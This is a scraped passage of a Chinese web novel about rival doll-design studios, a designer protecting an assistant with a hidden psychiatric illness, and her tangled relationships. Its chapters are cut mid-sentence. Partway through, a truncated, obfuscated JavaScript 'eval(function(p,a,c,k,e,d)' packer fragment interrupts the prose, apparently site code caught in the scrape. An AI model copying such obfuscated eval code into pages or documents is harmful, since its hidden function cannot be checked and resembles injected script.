花清漓听出沈确的语气有些不悦，解释道：“我也没办法。景爷为难我，我不找机会扳回一局我就没必要在DH待下去了。这次是我的错，不过我不会让你们吃亏的，源力环保公司是申城有名的环保企业，和他们联名收益只高不减。我建议你们好好考虑一下，这不只是为了我自己，也是为了你们。” “卑鄙！”沈确在电话里愤愤不已地骂了一句。 花清漓也不反驳，反倒好声好气道：“好了好了，别生气了。你再生气当心长皱纹啊，到时候就不帅了。” 最后一句纯属胡言乱语，但花清漓知道沈确就吃这一套。 果然，电话那头的沈确沉默了片刻，闷声道：“再有下次我就不跟你合作了，气死我了……” “知道了，少爷～”花清漓又哄了几句才挂断电话。 lvy一回到D社，就被Donald叫进了办公室。 她推开Donald办公室大门时，一眼看见坐在办公桌前的Donald手里握着一瓶氯丙嗪。她心下一惊，不知该说些什么。 Donald看见她，冷脸道：“隐瞒精神病入职，你知不知道我可以依据不符合录用条件辞退你？” “对不起Donald，是我求Evelyn把我留下的，都是我的错……”lvy慌乱地解释道。 Donald被气笑了，将手里的药瓶放下道：“原来Evelyn早就知道这件事了，她居然帮你瞒了那么久？怪不得你那么听她的话。” “不是这样的Donald！你听我解释，是我想留在D社，被Evelyn发现后才求她帮我隐瞒的。”lvy继续解释。 Donald懒得和lvy废话，厉声道：“Evelyn已经辞职了，我追究不了她，但你也不用在D社待了。你现在就给我收拾东西走人。” lvy被Donald从办公室轰了出来。 “你现在就给我递辞职报告。”Donald突然从办公室里气愤地冲出来，在众目睽睽之下指着lvy命令道。 lvy被骂得缩了缩脑袋，连忙转身回到自己工位上打辞职报告。 lvy能感受到整个工作室的目光一时都聚在自己身上。 “看什么看，干活。”Donald横眉怒视地扫过众人，命令道。 大家被Donald突如其来的怒气弄得摸不着头脑，为了不触霉头，纷纷低下头干活。 直到lvy打完辞职报告开始收拾东西，Donald才转身回到办公室。 大家见Donald走了，纷纷看向lvy问：“世界哥怎么回事？突然怎么发那么大的脾气？你怎么惹他了？” “没、没什么。”lvy低着头支支吾吾道。 大家对lvy的态度见怪不怪，见问不出什么，只好各自散去。 lvy带着自己的东西出了D社。她一时不知该如何是好，只好打电话给我花清漓求助。 原本花清漓正好和MD潮玩社的Felix在电话里讨论完合作事宜，lvy的来电让二人的谈话不得不提前结束。 花清漓接通lvy的电话，听lvy把事情说了个大概后，思索了一会儿提议道：“明天要不要休息一下，后天再来DH入职？” 谁料lvy一口拒绝：“不行。我要上班，我不能休息。如果我回去休假了你是不是就不要我了？” 花清漓听到这话，总算是明白lvy现在是情绪失控，病症开始发作了。 她疲惫地叹了口气，好声好气安慰道：“不会的。我既然把你从Donald那里要过来，我就不会不要你。我跟你说你现在是情绪不稳定，在胡思乱想而已。我没有说不要你啊。你今天好好休息，不要想这些乱七八糟的，明天让你来DH入职好不好？” “真的？”lvy的情绪明显好多了，小心翼翼地向花清漓确认道。 “当然是真的！好了，别哭了。一会儿敷了面膜再好好睡一觉。不然明天早上起来眼睛肿了。”花清漓好声好气地嘱咐完，直到对面的抽噎声渐渐消失才挂断电话。 花清漓疲惫地看向窗外，各家窗子里透出的灯火点燃了昏黄的街道。一辆电车缓缓驶过，铁轨像黑色的线，将整座城市缝合在一块。 她顺着这些黑线缓缓朝家的方向走去。却不曾想，在街角的一家小吃摊看见了正在买晚餐的沈确。 “少爷也喜欢吃这些啊？”花清漓缓步上前，调侃道。 沈确一身白色衬衫，手上捧着一份炒面。左边耳朵里带着一只蓝牙耳机。听到花清漓的 13.13 《狐狸在夜晚来临》全本免费阅读 翌日再次回到MD工作室上班时，花清漓一眼就看见lvy穿着一件白色衬衫，下半身是一条灰色百褶长裙。手里捧着几份画册在和市场营销总监Freemon聊着些什么。 “Evelyn早啊！” “早！”花清漓随口回应身旁的问候，提高声音提醒众人：“今天来了位新同事，大家应该知道是谁了吧。” 只见众人的目光纷纷投向一旁的lvy。 花清漓两手一摊，继续道：“本来我该和大家介绍一下我们的新同事，但我懒得介绍——相信大家对lvy都很熟吧？毕竟以前我们在隔壁的时候平常也没少见面。” “嗐！”Freemon摆了摆手，“谁不知道lvy是Evelyn的未来的接班人。” “Ivy不只是我的助理，同时她也是一位人型师。以后会和大家一起工作，散了吧。”花清漓摆摆手，回到自己的工位上。 一旁的Freemon坐在转椅滑到花清漓身旁道：“Evelyn，这是上一批娃的销售数据。销量不错。我看了一下隔壁D社的，新娃是你之前设计的那只吧？你的风格一眼就能认出来。销售额比我们上一批高了两个点。” 花清漓坐下，接过Freemon手里的平板翻看了一下，道：“我本来考虑多做几个＇天使''系列的，不过看来没有这个必要了。接下来我会继续着手环境拟人的人偶设计。” “诶，Evelyn，”Freemon一手支着脑袋，看向花清漓小声问，“lvy当初怎么没和你一起来DH？她这次突然调过来，谁能保证她不会变成Dobald他们的人……” 花清漓听到这话，瞥了Freemon一眼道：“你无间道看多了？lvy是我的助理，有她在我身边，我办事当然会顺手很多。” Freemon辩解道：“我也就是随口猜测嘛，防人之心不可无……” 花清漓皮笑肉不笑道：“lvy是我一手带出来的，她从刚毕业的时候就到我身边做助理了。她有多大能耐我心里有数。” Freemon闭上眼敷衍地点点头，蹬着转椅回了自己的工位。 花清漓与沈确约了今日见面。花清漓不想再去咖啡厅，两人索性就约了中午一起在附近的餐厅吃饭。 沈确订的是一家新开的日料餐厅。花清漓到包间的时候，还奇怪地问沈确：“你什么时候对日料感兴趣了？” “我听我们工作室的女孩子们说，你们女孩子都挺喜欢吃日料的。”沈确解释道。 花清漓在沈确对面的蒲团上落座，评价道：“你什么时候开始关注女孩子喜欢什么了？”说着，又转念一想，恍然大悟道：“你该不会有喜欢的人了吧？” 沈确听到后面这句话时，脸色略显尴尬，连忙辩解道：“我只是觉得偶尔尝试一下日料也不错，你不想吃下次我们换个别的……” “不用！”花清漓笑了笑，“偶尔换换口味也不错。” “听说你前两天升职了？”沈确给花清漓挑了一小碗海胆递到她面前。 “这么关心我啊？”花清漓捧着手机道。 沈确嗤笑道：“少自作多情。你那个助理最近怎么样了？你不是把她调到HD去了吗？” 花清漓听到沈确提起lvy，恨铁不成钢道：“她不就是老样子。她有轻度精神病，还有重度抑郁症，比较依赖我。她在DH待不长的，我会尽快考虑把她安排到别的地方去。” “你们在已知她有精神病的情况下依然录用她，再炒她是犯法的！”沈确忍不住蹙眉提醒道。 “谁说我要炒她了。”花清漓替自己辩驳道，“我不是把她留下了吗！在景爷正式开始为难她之前，我要想个能让lvy可以正式留在DH的办法。” 沈确“切”了一声，嘲讽道：“打一巴掌再赏个甜枣？你明明知道她没有能力。你离开D社的时候没空管她，现在觉得她可能有用就又把她留下。说几句好话哄一哄、遇到小事帮一把。怪不得她对你感激涕零呢。” 花清漓对沈确的阴阳怪气一点也不生气，反笑道：“那又怎样？与其被Donald那群臭男人骗，倒不如被我骗。” “看得出来你很讨厌Donald那群人。”沈确将剥好的虾塞进自己嘴里。 花清漓见了，惊讶问道：“你那不是给我剥的吗？” 沈确笑了笑：“你看起来不像是饿了的样子。” “谁说的？”花清漓瞪大了眼睛看向沈确，“我都饿死了好吗？我早上就吃了一个鸡蛋，到现在都要饿死了好吗！”重要的事情说两遍。 伴随着花清漓哔哩啪啦的一顿吐槽，沈确依旧低着头剥虾。直到手里剥出一小盘虾肉，才把盛满虾肉的碟子与花清漓面前的空碟子交换。这一举动成功堵住了花清漓的嘴。 “还想吃什么？”沈确笑着问。 花清漓也丝毫不和沈确客气，拿了菜单点了一碗日式拉面。 拉面上桌的时候，花清漓吃了两口就面露难色。沈确知道这是她难以下咽的表情。 “有那么难吃吗？我也点一份尝尝……”沈确不相信。 花清漓听到沈确还要再点一份，连忙制止道：“你没事吧？我是吃不习惯日式拉面的口味。我那么挑食的人都觉得不好吃的东西干嘛还要点两份。” 她说着，似乎又想到什么，问沈确：“上次你们的环保公益办的怎么样了？” 沈确回想了一下，道：“上次你给的设计稿，成品已经上市了。你以那座矿山为灵感设计的那个人偶在上市后，引起了不少人关注冷南山的＇矿山修复''项目。最近相关部门在着手进行环境评估。” “看来这个赛道还是有点用的。”花清漓一手搁在桌面上支着下巴道。 “我们工作室想利用和你联名的环境污染拟人款盲盒作为奖品，设立＇环保知识宣讲''和＇亲子废品改造创意大赛''之类的的活动。”沈确道。 花清漓听到沈确的提议，突然找到了把lvy留在身边的好理由。 只见她不怀好意地看向沈确，问：“设立''环保知识宣讲‘和''亲子废 14.14 《狐狸在夜晚来临》全本免费阅读 一番话暗示完，花清漓冷淡地挂断电话。 “原来你在打这个主意。”身侧的沈确突然开口道。 花清漓看向沈确，笑道：“你又懂了？” 沈确靠在椅背上道：“氯丙嗪是治疗精神病的药物，你想用lvy的重度抑郁症来掩盖她轻度精神分裂症，怎么可能？氟西汀和氯丙嗪差别大着呢。” “那也是她自己的事了。我只能帮她到这里了。就算她被辞退，那也是她自己的问题。大不了在她被辞退以后我帮她寻个去处。我已经仁至义尽了……”花清漓蹙眉道。 “你确实可以考虑把她安排到别的地方工作，只是想找一个合适的地方会有点难。”沈确思考道。 花清漓看了看手机上的时间，起身道：“我得回去了，出来太久景爷要说我了。” 她走了几步，又折返回来对沈确道：“你们的环保公益活动什么时候办？能就在这一个星期内办吗？” 沈确抬眸扫了花清漓一眼，大概猜出她的想法，无奈道：“你想我什么是时候办？我总得花点时间准备一下吧？活动策划案我还没写完呢。” “你什么效率啊，我来。”花清漓毫不犹豫道，“是时候要学一学营销号的营销模式了！” 沈确叹了口气冲她摆摆手：“你还是先去解决lvy的事吧，免得他们借机针对你！” “那好吧。”花清漓拿上手机，头也不回地出了餐厅。 正值中午一点半，烈日炎炎。花清漓随手拦了一辆车，以最快的速度抵达了MD所在的商务大楼的楼下。 就在她乘坐电梯抵达MD所在楼层时，手机传来了师父的电话。 花清漓刚接通就听见师父语气不悦道：“你怎么没告诉我lvy这个女孩子患精神分裂症？她一来MD几天，工作室里就看到了氯丙嗪。你们工作群的消息你自己也看到了吧？你怎么能保证她犯病的时候不会伤人？你对她好她领情吗？阿景也已经知道这件事了。虽然我答应你把lvy这孩子留在你身边当你帮手，不过看来她只会拖你后腿。如果阿景要辞退她我是同意的。毕竟是她隐瞒病情在先。你要是觉得对不住她，就趁早把她安排到别的地方去。你可以对她好，但前提是她不可以成为你的绊脚石。如果你一定要留下她，那就让我看到她的价值。” 师父菅云舒说完就挂断了电话，半点也不给花清漓解释的机会。花清漓知道这次师父确实生气了。 出了电梯，花清漓一脸郁闷地回到自己的工位上，没曾想正好碰见lvy捧着一杯咖啡朝自己走来。 lvy将咖啡放在花清漓的手边：“卡布奇诺，不加糖的。” 花清漓举起咖啡抿了一口，对lvy道：“最近我手里有个项目，你和我一起去做。” lvy点点头，问：“是工作室有新合作吗？” “不是。”花清漓捧着咖啡道，“等你去了就知道了，行程我一会儿发给你，当天记得穿漂亮一点。记得背一个名牌的包。” lvy奇怪地问：“为什么一定要背名牌包？我们不是去工作吗？” 花清漓笑了笑，看向lvy解释道：“男人看表，女人看包。小姐，就算你平日里再怎么不社交，过两天我是要让你上镜的！如果你是观众，也会比较相信一个衣服包包有品牌的人型师吧。给人感觉这一行好像很赚钱，但是又不是什么人都能干的了这一行的。明白吗？” “可是我还没有买过名牌包之类的东西……”lvy为难道。 “那现在就去买啊。”花清漓起身，从包里掏出一张银行卡递给lvy，告诉她密码后还不忘提醒道：“看你表现了，干得好的话就当送你了。办不好就还给我。” lvy接过花清漓手中的银行卡，道：“我会努力的。” “不是让你努力就好，是要你all in。懂了吗？”花清漓靠在椅背上提醒道。 “明白了。”lvy果断点头，转身准备离开。 不料被花清漓叫住：“我跟你一起去，就当是陪你逛街了。” 两人说着，一并下楼去了附近的百货商场。 花清漓给lvy挑了几套衣服，顺便还挑了几个用于搭配衣服的名牌包。 lvy拎着好几个购物袋跟在花清漓身后出了商场，看着手里的东西，她忍不住问：“一定要买这么贵的吗？” 花清漓低着头一边给沈确发消息一边回答道：“心疼了？你平常上班就穿得普普通通的，不是T恤就是衬衫。关键还不适合你。知道你平常的打扮给人一种什么感觉吗？” “什么？”lvy追问道。 “一看就很单纯很好骗啊！”花清漓如实道，“你平常烂桃花那么多，你真以为人家是因为喜欢你才找上你的吗？Donald和我手底下的张染是同一种人，你离他们远一点。在单位里，只要存在竞争关系就不可能会有真正的感情。所有突如其来的善意都是有目的的。” lvy似懂非懂地点点头，表示自己记在心里了。 公益活动开启的当天正好是周末，花清漓早早就来到了活动的举办场所。 公益设立在人流密集的广场，活动主题是《废物流通》。 DH潮玩工作室果然派了沈确过来参与组织活动。 公益活动区域除却摆了一张摆满了花清漓设计的环境污染拟人粘土人偶盲盒的长桌，还有旁边的地面上摆了几箱废旧物品。 花清漓上前与沈确打招呼：“《废物流通》，你们有让参与者提前报名吗？” “当然。他们马上就到了。”沈确说着，拿出一份名单递给花清漓。 接过名单的花清漓顺势在沈确身旁的椅子上落座，开始翻看名单。 “你加了一个环保手工DIY项目？”花清漓翻看名单时，余光瞥见一旁的活动公告。 沈确道：“哦，就是一个小活动罢了。做做手工，很适合孩子们吧。就算吸引不了大人，吸引小孩也不错吧。所以我才特意把玩具摆出来！” “不错的主意，感觉挺好玩的。”花清漓笑了笑，问沈确：“20多岁的＇小朋友''也可以参加吗？” 沈确被花清漓突如其来的问题逗笑了，索性顺着她道：“当然可以了，花清漓小朋友，你又有什么有意思的创意了？” 花清漓没有接话，只是可惜道：“我倒是想参加，可是我不擅长用废弃物改造啊。要是有石塑粘土的话那我就没问题了……” 沈确倒像是早就知道她的想法似的，起身到一旁的小箱子里拿出几包未开封的石塑粘土和便携丙烯颜料放在花清漓面前：“早就给你准备好了。” 看到这些石塑粘土，花清漓有些惊讶：“准备得那么周到？” 沈确“啧”了一声，指着自己臭屁道：“你也不看看这个世界上最了解你的是谁！” 花清漓摇摇头：“不止最了解我，还是这个世界上最臭屁的男人。” “花清漓——” “我求你闭嘴，你真的很吵。”花清漓懒得搭理他，拆开石塑粘土的包装就开始捏人偶。 她不准备做太大的尺寸，索性只捏了巴掌大小的几团粘土开始随意创作。不一会儿就捏出一个小巧可爱的粘土娃娃。为了让这个娃娃更加吸引眼球，花清漓还用颜料给粘土娃娃上了色。很快，一个憨态可掬的粘土娃娃就做好了。 花清漓手上的动作很利落，不到一个上午就捏了七八个憨态可掬的迷你粘土娃娃。 下午这些娃娃摆出来的时候很快就吸引了不少路过的孩子们驻足观看。 沈确借机上前在孩子们面前蹲下道：“喜欢这个姐姐做的娃娃吗？” 几个孩子 15.15 《狐狸在夜晚来临》全本免费阅读 “哎呀，被发现了。”花清漓故作苦恼看向沈确，眼神里充满戏谑。 沈确翻了个白眼，抬起手指轻轻推开花清漓的脑袋道：“看把你给得意的。” 就在二人拌嘴时，lvy突然神色凝重地捧着手机上前来。看见坐在一起的两人，lvy愣了一下才将手机递给花清漓：“Evelyn，景爷刚刚发了一条公告，说上面要把D社和DH合并。” “什么？”花清漓听到最后一句话时，满脸疑惑地接过lvy的手机翻看消息。 只见微信群里DH和D社的工作大群已经合并，并且更名为【DH&D创意人型】。 群里除了景爷发的工作室因房租到期而合并的通告，还有一份新管理层职位更替名单： DH&D工作室总策划——Donald（权世杰） 总监———景爷 创意总监——Evelyn（花清漓） 除却这三位，其他人职位暂时不变。 以上就是本次通告中职位更替的内容。 看完这则通告，花清漓的心中突然升起一股不好的预感。师父为什么突然合并两家工作室？两家工作室一起租了这么多年，如果只是因为房租问题，从一开始就不可能弄两家工作室吧？这样做有什么好处吗？ 想到这里，花清漓就准备给师父打电话。结果刚拨出去，就传来被占线的提示。 花清漓有些心烦，只好挂断电话。借口让lvy帮忙买水支开lvy后才一脸郁闷地趴在桌子上。 沈确见她又摆出一副绝望的表情，忍不住抬手拍了拍她的背安慰道：“又是工作的事？跟我说说？” 不料花清漓却不悦地抬起头一把拿开沈确的手提醒道：“不要碰我的后背。特别是腰那一块。”随后又担心沈确误会，补充解释道：“那里以前受了很严重的伤，虽然表皮的伤口已经愈合，但骨头还是会疼……” “什么时候受的伤？你怎么没和我说过？”沈确尴尬地收回手，抱歉道。 “两年前。”花清漓轻描淡写道。 “你爸妈都还不知道吧？”沈确追问道。 花清漓听到“爸妈”两个字，冷淡地回答道：“早拉黑他们了，我没和你说过吗？” 沈确听到这句话才恍然大悟：“你没说啊。怪不得他们每次都找我问你的近况。他们有几次找我问你的住址，我还觉得奇怪呢。” 听到被问住址，花清漓指着沈确威胁道：“你要是敢把我住在哪告诉他们，那我也去和沈行哥哥告状。我最近嘴巴发痒，万一编出什么对你不利的故事……反正沈行哥哥一直知道你在哪，想过来也就半小时的事……” “花清漓——”沈确气得站了起来，“你不拿我哥压我会死是吗？你怎么这么讨厌！” “我就是威胁你！告状谁不会啊？你敢用我爸妈威胁我，就不许我用沈行哥哥威胁你？”花清漓不服气地回怼道。 “切。”沈确愤愤不平地甩手重新坐下。 正好先前被花清漓支去买水的lvy拎着一袋矿泉水回来。 “Evelyn，矿泉水。”lvy从袋子里拿出一瓶矿泉水，贴心地为她拧开瓶盖递到花清漓的手上。 “谢谢。”花清漓接过lvy手中的矿泉水，转头对沈确道：“一边去！让人家lvy坐一会儿！” 沈确扫了一眼lvy，看在她给花清漓买水的面子上乖乖起身把凳子让了出来。 花清漓看向lvy，对她道：“既然工作室要合并，而我还是创意总监。到时候肯定会分成两派，一边是Donald的人，一边是我的人。景爷肯定会让你们表态分组。其实不管你选那边最终都会被针对。你提前做好心理准备。” lvy听完花清漓的话，有些不知所措地低下头。 花清漓抬手附在lvy的手上轻轻拍了拍，安慰道：“先别想太多。其实和以前也没什么两样。” lvy还是有些担心，对花清漓道：“可是Donald那帮人从一开始就爱和你斗，DH的人我们能完全相信吗？” 花清漓笑了笑，耸耸肩道：“小姐，你以为所有人都像Donald那样小心眼吗？只要能赚钱、不加班，做下属的干嘛管上司怎么斗的？只要不是城门失火，殃及池鱼。下了班爱怎样就怎样。” lvy似懂非懂地点点头，不再说话。 一整个白天，三人都在做公益宣传，一直到傍晚才收摊。 分别时沈确照常送花清漓回家。 两人并肩走在路上。 电车来了。两人乘上电车穿行在夜色朦胧的城市中。飞驰而过的街道在闪烁不定的灯光中逐渐模糊。 “DH和D社正式合并。你师父怎么会在这个时候把两家工作室合并？既然本就是一家，当初何必要分成两家呢？”沈确看着远处的高楼大厦问花清漓。 花清漓靠着车窗回答道：“DH和D社最初分开，是因为想做两种不同的风格。DH的人型师擅长使用中国元素做普通体型人偶；D社则以我的风格为主，擅长做形态各异的特体人偶。两个风格太过割裂，DH这些年也主打国风元素，两种风格不同的人偶放在一起卖太过喧宾夺主。所以师父就特意注册了D社这家子公司来让我们这批擅长做特体的人型师自由发挥。” “他为什么这个时候合并？”沈确不解道。 花清漓笑了笑，其实她也不太明白。只好道：“谁知道呢！反正我师父说是因为房租到期，谁信啊。想也知道不可能是这个原因。虽然这次我升职了，可是我高兴不起来啊。明天还要请工作室的员工吃我的升职蛋糕。一想到明天又要看见Donald那群糟心玩意儿就烦。” 她说着，眼睛瞥向不远处的OAK线下人偶贩售商店，突然停下脚步对沈确道：“你先回去吧。我去OAK家看看最近我们人型社的线下销售情况。” “不用我等你一起回去？”沈确看了一眼手表上的时间问。 “不用！我自己会回去的！”花清漓头也不回地朝着OAK商店走去。 16.16 “师父知道你向他隐瞒lvy患有重度抑郁和轻度精神分裂的事了。”林言蹊突然开口提醒道，“他应该教过你，没有用的人留在身边只会变成你的累赘。你当然可以善良，但前提是她不会影响你的事业和生活。你还是趁早把lvy换掉吧。” “我在知道她有精神病的情况依然录用她，在她没有犯任何错误的情况下，我炒她是犯法的。”花清漓无奈地笑道。 林言蹊摇了摇头，道：“所以只需要借别人的手炒掉她就好了。或者你直接把她调到别的地方工作，只要不是DH&D，不会妨碍你的工作就好了。她要是真喜欢当人型师至于跟了你那么久什么长进都没有吗？” 花清漓沉默着没有接话。对于师兄这番话她无从反驳。当年一时的心软却在如今给自己惹了这么个麻烦。 她躺在躺椅上，心中有些莫名的烦躁，干脆闭上眼装做听不见。 “原来她每一次来OAK是为了见你啊。” 伴随着一声阴阳怪气的问候，沈确冷着脸从门口走进来。他在柜台前停下脚步，冷冷地瞪了林言蹊一眼。 林言蹊拄着拐杖起身，没有搭理沈确，反而对着躺在躺椅上的花清漓道：“他平时在你面前也这么没礼貌吗？” 两人的话一字不漏地全落在花清漓的耳朵里，然而她此刻只想睡觉，懒得搭理这两人。 “我和她从小一起长大，青梅竹马。说话自然不用那么疏离。倒是你这位做师兄的，”沈确嘲讽地对着林言蹊冷笑道，“这么晚了还不提醒她回去。” 他说完，又阴阳怪气地补充道：“哦对，你看我，两年不见你我都忘了，你腿脚不方便。一会儿要不要顺带捎你一程？” 林言蹊脸上带着没有温度的笑回绝道：“我就不用麻烦＇沈设计师''了。你可能不清楚她来我这儿的习惯。我不仅是她师兄，更是她遇到困难后想到的第一个人。忘了告诉你，你在她通讯录的备注里也只是个全名。她每次遇到不顺心的事就来我这里撒娇让我哄她。” 听到林言蹊最后两句，沈确也被气笑了。他给花清漓的备注从小到大都是一朵粉粉的小花表情符号，还把她常年在聊天页置顶！花清漓居然这样对他！她在林言蹊这家伙面前居然还会撒娇？沈确默默在心里记了花清漓一笔。 沈确看向躺椅上的花清漓，发现她不知何时睁开了眼睛。二人四目相对时，沈确上前把她从躺椅上拉起来道：“我送你回去。” 花清漓懒懒起身，只站在原地伸了个懒腰的功夫，沈确已将她扔在一旁的包自然地挂在了自己的身上。 “我们走了。”花清漓向林言蹊挥手道别，突然被沈确抓住了挥动的手，轻轻拽着她出了OAK的大门。 “沈确我不是让你先回去吗？”花清漓疾步跟在沈确身后道。沈确个子高腿也长，迈一步花清漓得迈两步才能和他保持并行。 沈确瞥了一眼身旁的花清漓，刻意放慢脚步后才道：“我先回去？我哥要是知道我们明明同时下班，我却把你一个人丢在OAK。下次见到我他一定先上来踹我一脚。” “没办法，你要是女孩的话，沈行哥哥一定不会这样对你的！”花清漓耸耸肩笑道。 二人并肩走在街上。 沈确看着远处暗潮汹涌的海平面，想起刚才看见的林言蹊那一瘸一拐的走路姿势，忍不住问花清漓：“林言蹊的腿是怎么回事你知道吗？我刚刚看他走路的时候有点跛。” 听到沈确突如其来的问题，花清漓别过脸，看向远处的海平面岔开话题：“你知道有些人，表面上就像是一滩死水那样平静，实则背地里暗潮汹涌，把周围的一切都卷入他精心设计的漩涡中。” 沈确扫了她一眼，道：“景爷又为难你了？” “呵呵。”花清漓没有认同也没有反驳，只干笑了两声，没有接话。她在心里却明白，工作室合并却分组，这绝不是景爷的提议，而一定是自己师父的决定。至于目的，大概是师父想要培养一个接班人吧。 “我的好日子到头了。”花清漓双手叉腰，语气绝望道。 沈确刚想安慰她几句，下一秒就听见花清漓道：“沈确，希望接下来你也没有好日子过。” “嗯……嗯？不是，你有病吧？”后半句让沈确原本安慰的话卡在了喉咙里。他气急败坏地瞪了花清漓一眼，将身上花清漓的包取下挂在她的脖子上后，向前几步拉开了两人的距离。 花清漓一点都不在意沈确骂自己，反而平静地取下脖子上的包拎在手里问他：“你擅长剪视频吗？我不擅长这个，但是我需要用一个视频来把lvy的形象拉向正面。上次那条视频我觉得还是没有剪好，没有达到我预期的数据效果。” “我帮你有什么好处？”沈确不情愿道。 “好处么……”花清漓思考片刻，坦白道：“还没想好。” “那还不简单！你给我买宝格丽103717我就答应你。” 花清漓一听宝格丽103717，直接破口大骂：“你有病啊，那块表四万块！让你帮这么点小忙就想要我四万块，你配吗？我找专业团队来营销也花不了这么多！你这分明就是想宰我！” “你想空手套白狼？世上哪有那么便宜的事！”沈确也不甘示弱地反驳道。 “你还狮子大开口呢！让你帮个小忙你要我四万块？我有这闲钱我还找你？果然靠男人还不如靠自己！”花清漓翻了个白眼再次反驳。 沈确笑了笑，改口道：“想让我帮你可以，你告诉我你师兄为什么会在去年突然残疾？你一直不愿跟我说这件事，你们之间到底隐瞒了什么？” 花清漓听沈确提起林言蹊，故作从容道：“我能隐瞒什么？他就是被置物架砸断了腿和右手的手骨后从D社辞职回去养伤而已。自从他出院后，他的手就再也没法绘图和雕刻。后来他就请师父把他调到线下代理商店担任销售员。我偶尔来玩而已。就这样。” 原来如此。 听了花清漓的解释，沈确心情好了不少。随即一口应下：“行，我帮你剪视频，再帮你盯数据。只帮你这一次啊！” 花清漓见状，连忙拿出手机将视频统统发给了沈确。最后还不忘狗腿地笑道：“今晚不如就让我送你回去吧！” “切！你又没有车，何必多此一举。”沈确无奈地笑了笑，抬起手指轻轻推了推花清漓的脑袋。 - 隔日，花清漓到工作室准备上班时，发现所有人都在搬东西。不止有DH的员工，就连D社的那群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不吃药我一闭上眼就老是会看到幻觉，还会有幻听……”lvy小声解释道。 花清漓抬手揉了揉太阳穴道：“我还是那句话，你好好工作，听我的话别想太多。你要是觉得难受就跟我说，我帮你联系了我大姨开的画室。那边工作很轻松，如果你愿意可以直接过去当美术老师。我跟他们那边打过招呼，不用查学历。” lvy听到这番话，只觉得花清漓要赶自己走。连忙上前恳求道：“Evelyn求你不要赶我走，我发誓我一定会听你的话，好好学做人偶……” 花清漓早就知道她会这样。索性摆摆手开口哄道：“我没有要赶你走！我是看你最近吃那么多药病情也没有改善，准备给你放几天假让你去画室当几天美术老师转换一下心情。你别想太多。” “真的吗……”lvy怯生生地抬眼看向花清漓，将信将疑地问。 花清漓故作好笑道：“当然是真的了！你要知道，现在Donald过来了。他已经知道你的病情了，他把这件事抖出去也是时间早晚的问题。所以你不能再让他抓到把柄，并且，我要让你在媒体面前有一个良好的形象。这样一来，就算Donald非要拿你的病做文章，我们也可以有反驳他的借口。懂了吗？” lvy似懂非懂地点了点头。 花清漓起身从桌面的纸巾盒里取出一张纸巾走到lvy面前替她擦眼泪：“好了，别哭了。你的眼泪别那么不值钱。眼泪是漂亮女人的一把利刃，你要把它用在有用的地方。如果你的实力得到大家的认可，在景爷面前哭比在我面前哭有用多了。” 17.17 “知道了。小景你先去和lvy交接一下工作项目。”花清漓叹了口气，走到工作台旁坐下对南流景道。 南流景并没有急着出去，而是反问道：“你想把lvy送去哪？” “艺境画室。”花清漓打开电子绘版道。 南流景一听是“艺境画室”，恍然大悟：“原来你想让花阿姨帮忙照顾她。lvy画画的确有天赋，但是以她的性格，教学生们画画，她行吗？” “我的目的不是让她教学生们画画，”花清漓头也不抬地回答道，“我只是让她找到合适的工作而已。她的性格的确很内向，也没什么主见，还很自卑。不过你可别质疑她的绘画专业。她毕竟是我当年亲自挑出来的助理。你只是看到了她的缺点，但你不知道像她这样的女孩，换个环境，得到一点夸赞和鼓励就会慢慢变得出彩。我希望的，是她能建立自信，自主地去发挥自己的长处。” 南流景撇撇嘴，他可没听说过lvy有什么优点。 “行了，”花清漓对着南流景道，“你去和她交接一下工作。一会儿我要带lvy去艺境画室。” “哦。”南流景不情愿地应下，又忍不住试探道：“师姐，你一会儿要出去的话，能不能帮我带一个MD家新出的那款盲盒？他们今天门店有活动！” MD？沈确他们工作室出品的新盲盒？该不会就是环境污染系列吧？ 花清漓笑着拒绝道：“你自己去吧，我现在没空见沈确。” 南流景听她这么说，自作聪明地问：“师姐，你们又吵架？” 花清漓觉得有些好笑，她看着南流景反问道：“难道在你眼里我和沈确见面只会吵架？” 南流景一听，拿出手机翻了翻日历道：“难不成你们还一起过七夕？你们什么时候在一起的？我怎么不知道？”说到最后两句，南流景满脸挂着嫌弃的表情继续道：“沈确凭什么能和你在一起？他根本就不配！林言蹊怎么办？” “我们没有谈恋爱。”花清漓直接了当地告诉他，“我们只是工作上有合作项目。仅此而已。而且，这关师兄什么事？” 听到花清漓如此干脆利落的否认，南流景终于放下心来。 “走了。”花清漓懒得和南流景掰扯，直接拎上包头也不回地出了办公室。 想到今日是七夕，花清漓先是去甜品店买了块好吃的蛋糕才去见林言蹊。 OAK商店。 今日店内的客人不多。花清漓去了林言蹊常驻的柜台却没有看到人，索性朝着OAK商店的楼顶花园过去。果然从楼梯口走上来，一眼就看见拄着拐杖坐在观光小桌旁的林言蹊。 花清漓将那个小巧的蛋糕从包装盒内拿出来，用事先准备好的打火机点上蜡烛后，才捧起蛋糕一边哼唱着： “我想念那个不太热的夏天 我想念……” “七夕快乐！”花清漓哼完一段歌，将蛋糕递到林言蹊面前示意他吹蜡烛。 林言蹊轻笑了一声，乖乖接过花清漓手中的蛋糕吹灭了蜡烛：“最近这么喜欢这首歌？” “我觉得挺好听的！”花清漓朝着那张躺椅过去，在上面躺下。 林言蹊一手捧着蛋糕，一手支着拐杖一瘸一拐地来到花清漓身旁的椅子上坐下道：“今天不上班？” “溜出来玩一下嘛。”花清漓捧着手机解释道。 “今天七夕，沈确没约你出去玩？”林言蹊尝了一口蛋糕问她。 花清漓刷着手机，漫不经心地回答道：“沈确？我刚给他买了宝格丽103717号腕表，晚一点给他送去。” 林言蹊听到花清漓居然给沈确买这么贵重的礼物，神色暗了暗，脸上依旧笑道：“是吗！那这小子肯定高兴死了。” 花清漓想到这块表是为了还沈确被自己利用的人情，还是忍不住心痛：“是啊。他当然高兴死了。” “听说小景被师父叫到工作室去给你打下手了？”林言蹊突然转移话题问。 “哦，是这样。”花清漓并不想聊工作的话题，索性指着蛋糕对林言蹊道：“你记不记得，两年前的夏天，D社那场意外大火里有一位重伤后成为植物人的消防员？” “记得，是他把你从火场里救出来的。”林言蹊回忆道。 花清漓看向远处的天空，遗憾道：“可是他到现在都没有醒过来。一想到他和你都是为了救我才受的伤，就很过意不去。”她说着，看向林言蹊，问：“如果没有那场大火你的腿就不会受伤。如果你没有受伤、如果时间能重来，你会不会为了我留在D社？” 林言蹊看着花清漓的眼睛，微风轻轻掀起他额前的碎发。 